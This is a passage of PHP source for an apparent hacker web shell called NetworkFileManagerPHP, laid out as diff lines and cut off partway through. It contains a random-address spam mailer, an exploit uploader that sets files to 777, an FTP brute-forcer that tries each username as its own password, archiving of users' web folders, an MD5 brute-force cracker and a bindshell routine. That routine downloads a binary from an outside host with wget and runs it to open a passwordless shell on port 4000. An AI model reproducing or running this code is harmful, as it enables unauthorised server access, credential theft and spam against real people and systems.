&nbsp;&nbsp;<b>email generator:</b></td></tr> + <tr> <tr><td align=left valign=top colspan=4 bgcolor=#FFFFCC width=500> + &nbsp;&nbsp;This spammer is splited in two parts: <br> + &nbsp;<b>1.</b> email generation with domains, included in script already, or email e-mail generation for domains was entered by you. Here choose how much accounts do you wish to use ( the advice is to generate about &lt;u><i>10 000 , because may be server heavy overload</i></u> )<br> + &nbsp;<b>2.</b> Type spam settings here</td></tr> + <td align=left colspan=2 class=pagetitle>&nbsp;&nbsp;<input type='checkbox' name='check_box[]'>&nbsp;&nbsp;if <b>checked</b> then you'll have default domains, if not <b>checked</b> then domain will be taken from input.</td></tr> +<tr><td align=center class=pagetitle width=200>&nbsp;&nbsp;Generated email quantity:</td> +<td align=left colspan=2>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='chislo' size=10>&nbsp;&nbsp;</td></tr> +<tr><td align=center class=pagetitle width=200>&nbsp;Your domain:</td> +<td align=left width=200>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='domen[]'>&nbsp;&nbsp;</td> +</tr> +<tr><td width=500 align=center colspan=2><input type='submit' value='Generate' class=button1 $style_button> +</td></tr> + + </form></table>"; +// letters +function s() { + $word="qwrtpsdfghklzxcvbnm"; + return $word[mt_rand(0,strlen($word)-1)]; +} +// letters +function g() { + $word="eyuioa"; + return $word[mt_rand(0,strlen($word)-2)]; +} +// digits +function c() { + $word="1234567890"; + return $word[mt_rand(0,strlen($word)-3)]; +} +// common +function a() { + $word=array('wa','sa','da','qa','ra','ta','pa','fa','ga','ha','ja','ka','la','za','xa','ca','va','ba','na','ma'); + $ab1=count($word); + return $wq=$word[mt_rand(0,$ab1-1)]; +} + +function o() { + $word=array('wo','so','do','qo','ro','to','po','fo','go','ho','jo','ko','lo','zo','xo','co','vo','bo','no','mo'); + $ab2=count($word); + return $wq2=$word[mt_rand(0,$ab2-1)]; +} +function e() { + $word=array('we','se','de','qe','re','te','pe','fe','ge','he','je','ke','le','ze','xe','ce','ve','be','ne','me'); + $ab3=count($word); + return $wq3=$word[mt_rand(0,$ab3-1)]; +} + +function i() { + $word=array('wi','si','di','qi','ri','ti','pi','fi','gi','hi','ji','ki','li','zi','xi','ci','vi','bi','ni','mi'); + $ab4=count($word); + return $wq4=$word[mt_rand(0,$ab4-1)]; +} +function u() { + $word=array('wu','su','du','qu','ru','tu','pu','fu','gu','hu','ju','ku','lu','zu','xu','cu','vu','bu','nu','mu'); + $ab5=count($word); + return $wq5=$word[mt_rand(0,$ab5-1)]; +} + +function name0() { return c().c().c().c(); } +function name1() { return a().s(); } +function name2() { return o().s(); } +function name3() { return e().s(); } +function name4() { return i().s(); } +function name5() { return u().s(); } +function name6() { return a().s().g(); } +function name7() { return o().s().g(); } +function name8() { return e().s().g(); } +function name9() { return i().s().g(); } +function name10() { return u().s().g(); } +function name11() { return a().s().g().s(); } +function name12() { return o().s().g().s(); } +function name13() { return e().s().g().s(); } +function name14() { return i().s().g().s(); } +function name15() { return u().s().g().s(); } + + +$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005); +$domain1=array('mail.ru','hotmail.com','aol.com','yandex.ru','rambler.ru','bk.ru','pochta.ru','mail333.com','yahoo.com','lycos.com','eartlink.com'); +$d1c=count($domain1); + +function randword() { + global $cool,$cool2; + $func="name".mt_rand(0,15); + $func2="name".mt_rand(0,15); + switch (mt_rand(0,2)) { + case 0: return $func().$func2(); + case 1: return $func().$cool[mt_rand(0,count($cool)-9)]; + case 2: return $func(); + default: return $func(); + } + } + +if (@unlink("email.txt") < 0){ +echo "?????"; +exit; +} +$file="email.txt"; + + +if($chislo){ + + + $cnt3=mt_rand($chislo,$chislo); + for ($i=0; $i<$cnt3; $i++) { + $u=randword(); + if(!isset($check_box)){ + + if ( IsSet($_POST["domen"]) && sizeof($_POST["domen"]) > 0 ) +{ + $domen = $_POST["domen"]; + foreach( $domen as $k=>$v ) + { + $d=$domen[mt_rand(0,$v-1)]; + + } +} +$f=@fopen(email.".txt","a+"); + fputs($f,"$u@$d\n"); + }else{ + + $d=$domain1[mt_rand(0,$d1c-1)]; + $f=@fopen(email.".txt","a+"); + fputs($f,"$u@$d\n"); + } + + } + $address = $file; + if (@file_exists($address)) { + if($changefile = @fopen ($address, "r")) { + $success = 1; + } else { + echo " File not found <b>\"".$address."\"</b> !<br>"; + } + + if ($success == 1) { + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>"; + echo "<tr><td align=center class=pagetitle width=500> ?????????? ????? <b>$chislo</b> email.</td></tr>"; + echo "<tr><td align=center> "; + echo "<textarea name=\"email\" rows=\"13\" cols=\"58\" class=inputbox>"; + while($line = @fgets($changefile,1024)) { + echo @trim(stripslashes($line))."\n"; + } + echo"</textarea></td></tr></table>"; + } + } +if (!isset($action)){ + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <form action='$PHP_SELF?action=spam1&status=ok' method=post enctype='multipart/form-data'> + <tr><td align=center class=pagetitle colspan=2><b>Main spammer settings</b></font></b></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;reply to:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='from' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;send to:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='otvet' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Delay (sec):</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='wait' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;message topic:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='subject' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;message body:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<textarea name='body' rows='13' cols='60' class=inputbox> </textarea></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;File:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='file' name='file' size=30></td></tr> +<tr><td width=500 align=center colspan=2> +<input type='submit' value='Generate' class=button1 $style_button > +<INPUT TYPE='hidden' NAME='$chislo'> +</td></tr> + </form></table>"; +} +} +} + +function spam1() { + global $status, $from, $otvet, $wait, $subject, $body, $file, $chislo; + set_time_limit(0); +ignore_user_abort(1); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> +<tr><td align=center class=pagetitle><b>Send spam with current settings</b></font></b></td></tr> +</table>"; + + + error_reporting(63); if($from=="") { print +"<script>history.back(-1);alert('missing field : <send from>')</script>";exit;} + error_reporting(63); if($otvet=="") { print +"<script>history.back(-1);alert('missing field: <reply to>')</script>";exit;} + error_reporting(63); if($wait=="") { print +"<script>history.back(-1);alert('missing field: <send delay>')</script>";exit;} + error_reporting(63); if($subject=="") { print +"<script>history.back(-1);alert('missing field: <message topic>')</script>";exit;} + error_reporting(63); if($body=="") { print +"<script>history.back(-1);alert('missing field: <message body>')</script>";exit;} + + $address = "email.txt"; + $counter = 0; + if (!isset($status)) echo "something goes wrong, check your settings"; + else { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center bgcolor=#FFFFCC>opening file <b>\"".$address."\"</b> ...<br></td></tr> +"; + if (@file_exists($address)) { + echo " + <tr><td align=center bgcolor=#FFFFCC>File <b>\"".$address."\"</b> was found...<br></td></tr> +"; + if($afile = @fopen ($address, "r")) { + echo " + <tr><td align=center bgcolor=#FFFFCC>File <b>\"".$address."\"</b> was opened for read...<br></td></tr> +"; + } else { + echo " + <tr><td align=center class=pagetitle>Unable to open <b>\"".$address."\"</b> for read...<br></td></tr> +"; + } + } else { + echo "There is no file <b>\"".$address."\"</b> !<br>"; + $status = "unable to find file \"".$address."\" ..."; + } + echo " + <tr><td align=center bgcolor=#FFFFCC>Begining read from file <b>\"".$address."\"</b> ...<br></td></tr> + </table>"; + if (@file_exists($address)) { + + while (!feof($afile)) { + + $line = fgets($afile, 1024); + $line = trim($line); + $recipient = ""; + $recipient = $line; + +#if ($file) { +# $content = fread(fopen($file,"r"),filesize($file)); +# $content = chunk_split(base64_encode($content)); +# $name = basename($file); +# } else { +# $content =''; +# } + $boundary = uniqid("NextPart_"); + + $header = "From: ".$from."\r\n"; + $header .= "Reply-To: ".$otvet."\r\n"; + $header .= "Errors-To: ".$otvet."\r\n"; + $header .= "X-Mailer: MSOUTLOOK / ".phpversion()."\r\n"; + $header .= "Content-Transfer-Encoding: 8bits\n"; + $header .= "Content-Type: text/html; charset=\"windows-1251\"\n\n"; + $header .= $body; + # $header .="--$boundary\nContent-type: text/html; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$content\n\n--$boundary--"; + + + $pattern="#^[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+"; + $pattern.="@"; + $pattern.="[-!\#$%&\"*+\\/\d=?A-Z^_|'a-z{|}~]+\."; + $pattern.="[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+$#"; + + if($recipient != "") + { + if(preg_match($pattern,$recipient)) + { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>Sending mail to <b>\"".$recipient."\"</b>...sent "; + + + if(@mail($recipient, stripslashes($subject), stripslashes($header))) { + $counter = $counter + 1; + echo "<b>[\"".$counter."\"]</b> ".date("H:i:s")."</td></tr> </table>"; + } else { + echo "<tr><td align=center class=pagetitle>email is wrong, message was NOT sent !</td></tr> </table>"; + } + } else { + $counter = $counter + 1; + echo ""; + } + } else { + echo "<br>"; + } + $sec = $wait * 1000000; + usleep($sec); + + } + + if($otvet != "") + { + + if(preg_match($pattern,$otvet)) + { + echo " <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>Sending test message to <b>\"".$otvet."\"</b> to check out"; + $subject = "".$subject; + + if(@mail($otvet, stripslashes($subject), stripslashes($message), stripslashes($header))) { + $counter = $counter + 1; + echo " message was sent... <b>[\"".$counter."\"]</b> ".date("H:i:s")."</td></tr> </table>"; + } else { + echo "<tr><td align=center class=pagetitle>message was not sent...</td></tr> </table>"; + } + } else { + echo "<tr><td align=center class=pagetitle>email is wrong.</td></tr> </table>"; + } + } else { + } + + if(@fclose ($afile)) { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>File <b>\"".$address."\"</b> was closed successfully!<br></td></tr> </table>"; + } else { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>Unable to close <b>\"".$address."\"</b> file!<br></td></tr> </table>"; } + } else { + echo "unable to read file <b>\"".$afile."\"</b> ...<br>"; + } + + $status2 ="Status: ".$counter." messages were sent."; + echo "<br>"; + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>$status2</td></tr> </table>"; + +} +} + + +# help + +function help() { + + global $action,$REMOTE_ADDR,$HTTP_REFERER; + + echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>help for scriptNetworkFileManagerPHP</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><b>NetworkFileManagerPHP</b> - script to access your host in a best way</font><br><br> + +There were added some commands to NFM, from scripts kind of itself. They are:<br> + +- Using aliases (<b>Rush</b>)<br> + +- FTP bruteforce (<b>TerraByte<b/>)<br> + +- Translated to english by (<b>revers<b/>)<br> + +- Added some sysinfo commands by (<b>revers<b/>)<br> + +- All the rest code belongs to me (<b>xoce<b/>)<br> + +- Thanks for testing goes to all #hack.ru channel<br><br> + +<b>Warning, we wanted to show by this script, that admins have to protect their system better, then they do now. Jokes with apache config are not good... Pay more attention to configuration of your system.</b><br><br> + +<b>How can you find us:</b><br> + +Irc server: irc.megik.net:6667 /join #hack.ru<br> + +See you round at network!!!<br></td></tr></table><br>"; + +} + + + + + +function exploits($dir) { + + global $action,$status, $file3,$file2,$tm,$PHP_SELF,$HTTP_HOST,$style_button, $public_site, $private_site, $private, $public, $title_ex, $title_exp; + +if (!isset($status)) upload_exploits(); + + + +else + +{ + + + +$data = implode("", file($file3)); + +$fp = @fopen($file2, "wb"); + +fputs($fp, $data); + +$ok = fclose($fp); + +if($ok) + +{ + +$size = filesize($file2)/1024; + +$sizef = sprintf("%.2f", $size); + +print "".exec("chmod 777 $public[1]").""; + +print "".exec("chmod 777 $public[2]").""; + +print "".exec("chmod 777 $public[3]").""; + +print "".exec("chmod 777 $private[1]").""; + +print "".exec("chmod 777 $private[2]").""; + +print "".exec("chmod 777 $private[3]").""; + +print "".exec("chmod 777 $private[4]").""; + +print "".exec("chmod 777 $private[5]").""; + +print "".exec("chmod 777 $private[6]").""; + +print "".exec("chmod 777 $private[7]").""; + +print "".exec("chmod 777 $private[8]").""; + + + +print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>You have uploaded: <b>file with size</b> (".$sizef."kb) </font></center></td></tr></table>"; + +} + +else + +{ + +print "Some errors occured."; + +} + +} + +} + + + + + +# FTP-bruteforce + +function ftp() { + + global $action, $ftp_server, $filename, $HTTP_HOST; + + ignore_user_abort(1); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle>FTP server: <b>$ftp_server</b></td></tr>"; + + + + $fpip = @fopen ($filename, "r"); + + if ($fpip) { + + while (!feof ($fpip)) { + + $buf = fgets($fpip, 100); + + ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); + + $conn_id=ftp_connect($ftp_server); + + if (($conn_id) && (@ftp_login($conn_id, $g[1], $g[1]))) { + + + + $f=@fopen($HTTP_HOST,"a+"); + + fputs($f,"$g[1]:$g[1]\n"); + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Connected with login:password - ".$g[1].":".$g[1]."</b></td></tr></table>"; + + + + ftp_close($conn_id); + + fclose($f); + + } else { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#FFFFCC BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center>".$g[1].":".$g[1]." - <b>failed</b></td></tr></table>"; + + } + + } + + } + +} + + + +function tar() { + + global $action, $filename; + + set_time_limit(0); + + echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Data compression</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>According to the different settings of servers, I didn't make default config of NFM. You're to write full path to the domain's folder and then press enter, so all data, containing in this folder will be compressed to tar.gz.<br><br> + +<b>Warning!</b><br>File <b>passwd</b> can have big size, so opening all users of this host can waste much time.<br><br> + +<b>It's highly recommended!</b><br>Open current function in another window of browser, to compress information, which you're interested in, during your host exploring.</blockquote></td></tr> + +</table><br>"; + + + +$http_public="/public_html/"; + +$fpip = @fopen ($filename, "r"); + +if ($fpip) { + + while (!feof ($fpip)) { + + $buf = fgets($fpip, 100); + + ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); + + $name=$g[1]; + + echo " + +<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<form method='get' action='$PHP_SELF' > + +<tr><td align=center colspan=2 class=pagetitle><b>Compression <u>$name.tar.gz</u>:</b></td></tr> + +<tr> + +<td valign=top><input type=text name=cm size=90 class='inputbox'value='tar -zc /home/$name$http_public -f $name.tar.gz' ></td> + +<td valign=top><input type=submit value='GO' class=button1 $style_button></td> + +</tr></form></table>"; + + } + + } + +} + + + +# bindshell + +function bash() { + + global $action, $port_bind, $pass_key; + + + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Binding shell</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br>Current shell binds 4000 port, you may access to it by telneting to host:4000 port without password.</td></tr> + +</table><br>"; + + + +echo " + +<TABLE CELLPADDING=0 CELLSPACING=0 width='500' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b> Bindshell binary is situated in file called<u><i>s</i></u></b></td></tr>"; + + + +echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("wget http://hackru.info/adm/exploits/bash/s")."</b> Downloading...</td></tr>"; + +echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("chmod 777 s")."</b> now chmod to 777</td></tr>"; + +echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("./s")."</b> now running to 4000 port</td></tr>"; + +# echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("rm -f s")."</b> Removing file<u>s</u> now...</td></tr>"; + +echo"</table>"; + + + + } + + + +function crypte() { + + global $action,$md5a,$sha1a,$crc32, $key,$string; + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Data crypter</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>Now there are many different programs and scripts, which uses a lot of passwords crypt methods (Do you remember what a phpBB is?=)), so with NFM you can crypt some strings to hashes, because sometimes you may need to change somebodyes data with your one =). Also you may change your pass to NFM here.</blockquote></td></tr> + +</table>"; + + + +echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=crypte' method=post> + + <tr><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Here are some useful cryption methods, which uses MHASH lib:</b></td></tr> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>MD5 </b>(Very popular and fast method)</td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;Result:&nbsp;&nbsp;<font color=#ffffcc><b>".md5($md5a)."</b></font></td> + + <td class=pagetitle width=100>&nbsp;Input:&nbsp;<font color=red><b>".$md5a."</b></font></td></tr> + + <tr><td align=center width=400><input class='inputbox'type='text' name='md5a' size='50' value='' id='md5a'></td> + + <td align=center width=100><input type='submit' value='Crypt MD5' class=button1 $style_button></td></tr> + + + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=crypte' method=post> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>SHA1 </b>(SHA1 - method to crypt with open key, It's very usefull too)</td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;Result:&nbsp;&nbsp;<font color=#ffffcc><b>".sha1($sha1a)."</b></font></td> + + <td class=pagetitle width=100>&nbsp;Input:&nbsp;<font color=red><b>".$sha1a."</b></font></td></tr> + + <tr><td align=center width=400><input class='inputbox' type='text' name='sha1a' size='50' value='' id='sha1a'> + + </td><td align=center width=100><input type='submit' value='Crypt SHA1' class=button1 $style_button></td></tr> + + + + </form></table>"; + +echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=crypte' method=post> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500> + + &nbsp;&nbsp;<b>CRC32 </b>(Most used when making CRC check of data, but you can find a host with forum, with passwords, crypted by CRC32)</td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;Result:&nbsp;&nbsp;<font color=#ffffcc><b>".crc32($crc32)."</b></font></td> + + <td class=pagetitle width=100>&nbsp;Input:&nbsp;<font color=red><b>".$crc32."</b></font></td></tr> + + <tr><td align=center width=400><input class='inputbox' type='text' name='crc32' size='50' value='' id='crc32'></td><td width=100 align=center><input type='submit' value='Crypt CRC32' class=button1 $style_button></td></tr> + + + + </form></table>"; + + + + } + + + +function decrypte() { + + global $action,$pass_de,$chars_de,$dat,$date; + +set_time_limit(0); + +ignore_user_abort(1); + + + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Data decrypter</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>It's known all over the world, that MD5 crypt algorithm has no way to decrypt it, because it uses hashes. The one and only one way to try read what the hash is - to generate some hashes and then to compare them with source hash needed to be decrypted ... So this is bruteforce.</blockquote></td></tr> + +</table>"; + + + +if($chars_de==""){$chars_de="";} + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form action='$PHP_SELF?action=decrypte' method=post name=hackru><tr><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Data decrypter:</b></td></tr> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500> + + &nbsp;&nbsp;<b>Decrypt MD5</b>(decryption time depends on the length or crypted word, may take a long time)</td></tr> + + <tr> + + <td class=pagetitle width=400 >&nbsp;MD5 hash:&nbsp;&nbsp;<font color=#ffffcc><b>".$pass_de."</b></font></td><td width=100 align=center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=reset value=Clear class=button1 $style_button></td> + + <tr><td align=left width=400 >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<textarea class='inputbox' name='chars_de' cols='50' rows='5'>".$chars_de."</textarea></td> + + <td class=pagetitle width=120 valign=top><b>Symvols for bruteforce:</b><br><font color=red><b><u>ENG:</u></b></font> + + <a class=menu href=javascript:ins('abcdefghijklmnopqrstuvwxyz')>[a-z]</a> + +<a class=menu href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')>[A-Z]</a> + +<a class=menu href=javascript:ins('0123456789')>[0-9]</a> + +<a class=menu href=javascript:ins('~`\!@#$%^&*()-_+=|/?&gt;<[]{}:?.,&quot;')>[Symvols]</a><br><br> + +<font color=red><b><u>RUS:</u></b></font> + +<a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a> + +<a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a> + +</td></tr> + +<tr><td align=center width=400> + +<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''></td><td width=100 align=center><input type='submit' value='Decrypt MD5' class=button1 $style_button> + +</td></tr> + + + + </form></table>"; + + + + + +if($_POST[pass_de]){ + +$pass_de=htmlspecialchars($pass_de); + +$pass_de=stripslashes($pass_de); + +$dat=date("H:i:s"); + +$date=date("d:m:Y"); + + + +crack_md5(); + +} + +} + + + +function crack_md5() { + +global $chars_de; + +$chars=$_POST[chars]; + +set_time_limit(0); + +ignore_user_abort(1); + +$chars_de=str_replace("<",chr(60),$chars_de); + +$chars_de=str_replace(">",chr(62),$chars_de); + +$c=strlen($chars_de); + +for ($next = 0; $next <= 31; $next++) { + +for ($i1 = 0; $i1 <= $c; $i1++) { + +$word[1] = $chars_de{$i1}; + +for ($i2 = 0; $i2 <= $c; $i2++) { + +$word[2] = $chars_de{$i2}; + +if ($next <= 2) { + +result(implode($word)); + +}else { + +for ($i3 = 0; $i3 <= $c; $i3++) { + +$word[3] = $chars_de{$i3}; + +if ($next <= 3) { + +result(implode($word)); + +}else { + +for ($i4 = 0; $i4 <= $c; $i4++) { + +$word[4] = $chars_de{$i4}; + +if ($next <= 4) { + +result(implode($word)); + +}else { + +for ($i5 = 0; $i5 <= $c; $i5++) { + +$word[5] = $chars_de{$i5}; + +if ($next <= 5) { + +result(implode($word)); + +}else { + +for ($i6 = 0; $i6 <= $c; $i6++) { + +$word[6] = $chars_de{$i6}; + +if ($next <= 6) { + +result(implode($word)); + +}else { + +for ($i7 = 0; $i7 <= $c; $i7++) { + +$word[7] = $chars_de{$i7}; + +if ($next <= 7) { + +result(implode($word)); + +}else { + +for ($i8 = 0; $i8 <= $c; $i8++) { + +$word[8] = $chars_de{$i8}; + +if ($next <= 8) { + +result(implode($word)); + +}else { + +for ($i9 = 0; $i9 <= $c; $i9++) { + +$word[9] = $chars_de{$i9}; + +if ($next <= 9) { + +result(implode($word)); + +}else { + +for ($i10 = 0; $i10 <= $c; $i10++) { + +$word[10] = $chars_de{$i10}; + +if ($next <= 10) { + +result(implode($word)); + +}else { + +for ($i11 = 0; $i11 <= $c; $i11++) { + +$word[11] = $chars_de{$i11}; + +if ($next <= 11) { + +result(implode($word)); + +}else { + +for ($i12 = 0; $i12 <= $c; $i12++) { + +$word[12] = $chars_de{$i12}; + +if ($next <= 12) { + +result(implode($word)); + +}else { + +for ($i13 = 0; $i13 <= $c; $i13++) { + +$word[13] = $chars_de{$i13}; + +if ($next <= 13) { + +result(implode($word)); + +}else { + +for ($i14 = 0; $i14 <= $c; $i14++) { + +$word[14] = $chars_de{$i14}; + +if ($next <= 14) { + +result(implode($word)); + +}else { + +for ($i15 = 0; $i15 <= $c; $i15++) { + +$word[15] = $chars_de{$i15}; + +if ($next <= 15) { + +result(implode($word)); + +}else { + +for ($i16 = 0; $i16 <= $c; $i16++) { + +$word[16] = $chars_de{$i16}; + +if ($next <= 16) { + +result(implode($word)); + +}else { + +for ($i17 = 0; $i17 <= $c; $i17++) { + +$word[17] = $chars_de{$i17}; + +if ($next <= 17) { + +result(implode($word)); + +}else { + +for ($i18 = 0; $i18 <= $c; $i18++) { + +$word[18] = $chars_de{$i18}; + +if ($next <= 18) { + +result(implode($word)); + +}else { + +for ($i19 = 0; $i19 <= $c; $i19++) { + +$word[19] = $chars_de{$i19}; + +if ($next <= 19) { + +result(implode($word)); + +}else { + +for ($i20 = 0; $i20 <= $c; $i20++) { + +$word[20] = $chars_de{$i20}; + +if ($next <= 20) { + +result(implode($word)); + +}else { + +for ($i21 = 0; $i21 <= $c; $i21++) { + +$word[21] = $chars_de{$i21}; + +if ($next <= 21) { + +result(implode($word)); + +}else { + +for ($i22 = 0; $i22 <= $c; $i22++) { + +$word[22] = $chars_de{$i22}; + +if ($next <= 22) { + +result(implode($word)); + +}else { + +for ($i23 = 0; $i23 <= $c; $i23++) { + +$word[23] = $chars_de{$i23}; + +if ($next <= 23) { + +result(implode($word)); + +}else { + +for ($i24 = 0; $i24 <= $c; $i24++) { + +$word[24] = $chars_de{$i24}; + +if ($next <= 24) { + +result(implode($word)); + +}else { + +for ($i25 = 0; $i25 <= $c; $i25++) { + +$word[25] = $chars_de{$i25}; + +if ($next <= 25) { + +result(implode($word)); + +}else { + +for ($i26 = 0; $i26 <= $c; $i26++) { + +$word[26] = $chars_de{$i26}; + +if ($next <= 26) { + +result(implode($word)); + +}else { + +for ($i27 = 0; $i27 <= $c; $i27++) { + +$word[27] = $chars_de{$i27}; + +if ($next <= 27) { + +result(implode($word)); + +}else { + +for ($i28 = 0; $i28 <= $c; $i28++) { + +$word[28] = $chars_de{$i28}; + +if ($next <= 28) { + +result(implode($word)); + +}else { + +for ($i29 = 0; $i29 <= $c; $i29++) { + +$word[29] = $chars_de{$i29}; + +if ($next <= 29) { + +result(implode($word)); + +}else { + +for ($i30 = 0; $i30 <= $c; $i30++) { + +$word[30] = $chars_de{$i30}; + +if ($next <= 30) { + +result(implode($word)); + +}else { + +for ($i31 = 0; $i31 <= $c; $i31++) { + +$word[31] = $chars_de{$i31}; + +if 